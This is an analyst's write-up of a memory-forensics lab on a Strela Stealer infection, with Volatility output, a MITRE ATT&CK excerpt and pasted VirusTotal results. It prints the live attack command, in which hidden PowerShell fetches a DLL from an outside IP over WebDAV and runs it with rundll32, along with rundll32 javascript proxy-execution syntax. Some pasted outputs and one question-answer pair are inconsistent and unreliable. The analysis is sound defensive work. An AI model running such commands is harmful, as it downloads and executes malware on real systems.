

Reveal Lab

Analyst: Ruslan

Date: 2026-01-25

1) Confirmed Findings

Finding	Value	Why it matters
Malicious process	powershell.exe	PowerShell is commonly used to run commands covertly and fetch/execute subsequent stages
Parent PID (PPID)	4120	The PPID helps reconstruct the execution chain: which process launched the malicious activity
Second-stage file	3435.dll	The second-stage DLL is the payload that defenders typically need to detect and block
Remote directory/share indicator	davwwwroot	Suggests access to a remote resource, often associated with WebDAV structures
User execution context	Elon	Identifies the user context under which activity ran and whose data may be impacted
Malware family	STRELASTEALER	Enables mapping to known threat behavior and selecting appropriate response actions
Execution technique (stage 2)	T1218.011	MITRE ATT&CK: abuse of rundll32.exe to execute a DLL ([MITRE ATT&CK][1])

2) What Happened

1. A suspicious process, powershell.exe, was observed and identified as malicious.
2. Its parent process was identified via PPID = 4120 (the process that launched powershell.exe).
3. PowerShell was linked to execution of a second-stage payload: 3435.dll.
4. Activity included remote resource access indicators referencing davwwwroot.
5. The activity ran under the user context Elon.
6. The overall behavior was attributed to the STRELASTEALER malware family.

3) What This Means

According to publicly available sources, Strela Stealer is described as an info stealer targeting credential theft (including email clients such as Outlook).

Given that execution occurred under user Elon, the primary risk is compromise of Elon's data and associated services (email, corporate portals, VPN, SSO, etc.).

4) Recommended Actions

1. Identify the process name/type for PID 4120 that spawned the malicious powershell.exe (key to the initial vector/trigger).

2. Hunt for 3435.dll artifacts and related DLL execution events (including rundll32.exe, technique T1218.011). ([MITRE ATT&CK](#))
3. Secure Elon's accounts immediately: reset passwords/tokens and revoke active sessions, prioritizing email and critical systems.
4. Investigate network/host activity involving davwwwroot (potential WebDAV path) on this host and across the environment.
5. Expand evidence collection to scope the incident: Windows logs, EDR telemetry, and disk imaging (if this is a real incident rather than a lab exercise).

5) Appendix: Commands Used

Purpose	Command
Image information	vol -f 192-Reveal.dmp windows.info
Process tree	vol -f 192-Reveal.dmp windows.pstree
Username via sessions	vol -f 192-Reveal.dmp windows.sessions grep "3692"

1. Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?

vol -f 192-Reveal.dmp windows.info

```
Kernel Base      0xf80108611000
DTB      0x1ad000
Symbols file:///home/ruslan/.local/pipx/venvs/volatility3/lib/python3.10/site-packages/volatility3/symbols.AF3012B7846079AEECDBE0A583-1.json.xz
Is64Bit True
IsPAE  False
layer_name      0 WindowsIntel32e
memory_layer    1 WindowsCrashDump64Layer
base_layer      2 FileLayer
KdDebuggerDataBlock 0xf80109211b20
NTBuildLab     19041.1.amd64fre.vb_release.1912
CSDVersion     0
KdVersionBlock 0xf80109220398
Major/Minor     15.19041
MachineType    34404
KeNumberProcessors 2
SystemTime      2024-07-15 07:00:08+00:00
NtSystemRoot    C:\Windows
NtProductType  NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine      34404
PE TimeDateStamp       Wed Jun 28 04:14:26 1995
```

vol -f 192-Reveal.dmp windows.pstree

```
1728 6102 MicrosoftEdgeU 0xc90c09722080 4      -      0      True   2024-07-15 04:03:38.000000 UTC N/A      \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeUpdate\Micro
softEdgeUpdate.exe
softEdgeUpdate.exe
* 4120 wordpad.exe 0xc90c0991d080 8      -      1      False  2024-07-15 07:00:03.000000 UTC N/A      \Device\HarddiskVolume3\Program Files\Windows NT\Accessories\wordpad.exe
* 4120 "C:\Program Files\Windows NT\Accessories\wordpad.exe"
3692 4120 powershell.exe 0xc90c0358b080 17     -      1      False  2024-07-15 07:00:03.000000 UTC N/A      \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -windowstyle hidden net use \\45.9.74.32\8888\davwwwroot\ ; rundll32 \\45.9.74.32\8888\davwwwroot\3435.dll,entry  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
* 2416 3692 net.exe 0xc90c08fd6080 5      -      1      False  2024-07-15 07:00:06.000000 UTC N/A      \Device\HarddiskVolume3\Windows\System32\net.exe      "C:\Windows\system32\net.exe"
.net.exe" use \\45.9.74.32\8888\davwwwroot\ C:\Windows\system32\net.exe
* 6892 3692 conhost.exe 0xc90c0a09fb080 5      -      1      False  2024-07-15 07:00:03.000000 UTC N/A      \Device\HarddiskVolume3\Windows\System32\conhost.exe  \??\C:\Windows\syste
m32\conhost.exe 0x4 C:\Windows\system32\conhost.exe
```

Answer: powershell.exe

2. Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?

vol -f 192-Reveal.dmp windows.pstree

```
1728 6192 MicrosoftEdgeU 0xc90c09722080 4 - 0 True 2024-07-15 04:03:38.000000 UTC N/A \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeUpdate\Micro  
softEdgeUpdate.exe - -  
9112 4120 wordpad.exe 0xc90c0991d080 8 - 1 False 2024-07-15 07:00:03.000000 UTC N/A \Device\HarddiskVolume3\Program Files\Windows NT\Accessories\wordpad.exe  
xe "C:\Program Files\Windows NT\Accessories\wordpad.exe"  
3692 4120 powershell.exe 0xc90c0358b080 17 - 1 False 2024-07-15 07:00:03.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powers  
hell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry C:\Windows\System32\WindowsPowerShell\v1  
0\powershell.exe  
+ 2416 3692 net.exe 0xc90c0ff6080 5 - 1 False 2024-07-15 07:00:06.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\net.exe "C:\Windows\system32\net  
.exe" 3692 \\45.9.74.32@8888\davwwwroot\ C:\Windows\System32\net.exe  
+ 6892 3692 conhost.exe 0xc90c0a09b0c0 5 - 1 False 2024-07-15 07:00:03.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\conhost.exe ??\Windows\s  
ystem32\conhost.exe 0x4 C:\Windows\System32\conhost.exe
```

Answer: 4120

3. Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?

```
ruslan@pop-os:~/Downloads/192-Reveal/temp_extract_dir$ vol -f 192-Reveal.dmp windows.cmdline | grep "3692"  
3692 powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry  
ruslan@pop-os:~/Downloads/192-Reveal/temp_extract_dir$
```

Answer: 3435.dll

4. Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?

Answer: davwwwroot

5. Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?

Home > Techniques > Enterprise > System Binary Proxy Execution > Rundll32

System Binary Proxy Execution: Rundll32

Other sub-techniques of System Binary Proxy Execution (14)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute.^[1] For example, ClickOnce can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"..\mshtml,RunHTMLApplication`

ID: T1218.011
Sub-technique of: T1218
① Tactic: Defense Evasion
① Platforms: Windows
Contributors: Amir Hossein Vafifar; Casey Smith; Gareth Phillips, Seek Ltd.; James_inthe_box, Me; Ricardo Dias
Version: 2.5
Created: 23 January 2020
Last Modified: 24 October 2025
[Version Permalink](#)

Answer: T1218.011

6. Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?

```
vol -f 192-Reveal.dmp windows.sessions | grep "3692"
```

```
ruslan@pop-os:~/Downloads/192-Reveal/temp_extract_dir$ vol -f 192-Reveal.dmp windows.sessions | grep "3692"
1progress- 100.03692 powershell.exe DESKTOP-T51LU0E/Elon 2024-07-15 07:00:03.000000 UTC
ruslan@pop-os:~/Downloads/192-Reveal/temp_extract_dir$
```

Answer: Elon

7. Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?

Answer: STRELASTEALER

Did you intend to search across the file corpus instead? [Click here](#)

15/92 security vendors flagged this IP address as malicious

45.9.74.32 (45.9.74.0/24)
AS 207569 (I-servers Ltd)

Community Score: 9

Reanalyze More ▾

Last Analysis Date: 3 days ago

DETECTION DETAILS RELATIONS COMMUNITY 13

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Security vendors' analysis	Do you want to automate checks?
alphaMountain.ai Malicious	BitDefender Phishing
CyRadar Malware	Dr.Web Malicious
Emsisoft Malware	ESET Malware
Fortinet Malware	G-Data Phishing
Kaspersky Malware	Lionic Malware
Phishing Database Phishing	SOC Radar Phishing
Sophos Malware	VIPRE Malware
Webroot Malicious	Forcepoint ThreatSeeker Suspicious

Files Referring (30) ⓘ			
Scanned	Detections	Type	Name
2026-01-14	1 / 71	Win32 EXE	net.exe
2025-11-27	1 / 62	DOS batch file	scrript.ps1
2025-11-27	1 / 62	DOS batch file	scrript.ps1
2025-01-30	52 / 72	Win32 EXE	8836bee6c07fd3c705cc895e925fe9e4.virus
2024-10-08	2 / 71	Win32 DLL	nlsbres.dll
2024-07-21	1 / 64	unknown	929001a605c495846151c54a4faa78bb954dd4da1d868b96dd0475c1e128a1b2
2025-08-10	53 / 72	Win32 DLL	2215.dll
2025-08-19	54 / 71	Win32 DLL	458.dll
2025-01-30	50 / 72	Win32 DLL	1225.dll
2025-01-30	47 / 72	Win32 DLL	4372.dll

• • •



52 / 72
Community Score

ⓘ 52/72 security vendors flagged this file as malicious

42ebff6e9f582a632153c478033b7bfa347bde87f7fe594e9f0729268cf30174
8836bee6c07fd3c705cc895e925fe9e4.virus

peexe 64bits overlay idle

C Reanalyze ⚡ Similar More

Size 123.00 KB | Last Analysis Date 11 months ago | EXE

DETECTION
DETAILS
RELATIONS
BEHAVIOR
COMMUNITY 1

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Popular threat label ⓘ trojan.strela/stealer
Threat categories trojan
Family labels strela stealer password

Security vendors' analysis ⓘ
Do you want to automate checks?

AhnLab-V3	ⓘ Trojan/Win.StrelaStealer.R658717	Alibaba	ⓘ TrojanPSW:Win64/Strela.b93e9f3b
AliCloud	ⓘ Trojan[stealer]:Win/Strela.xf	ALYac	ⓘ Trojan.Generic.36553329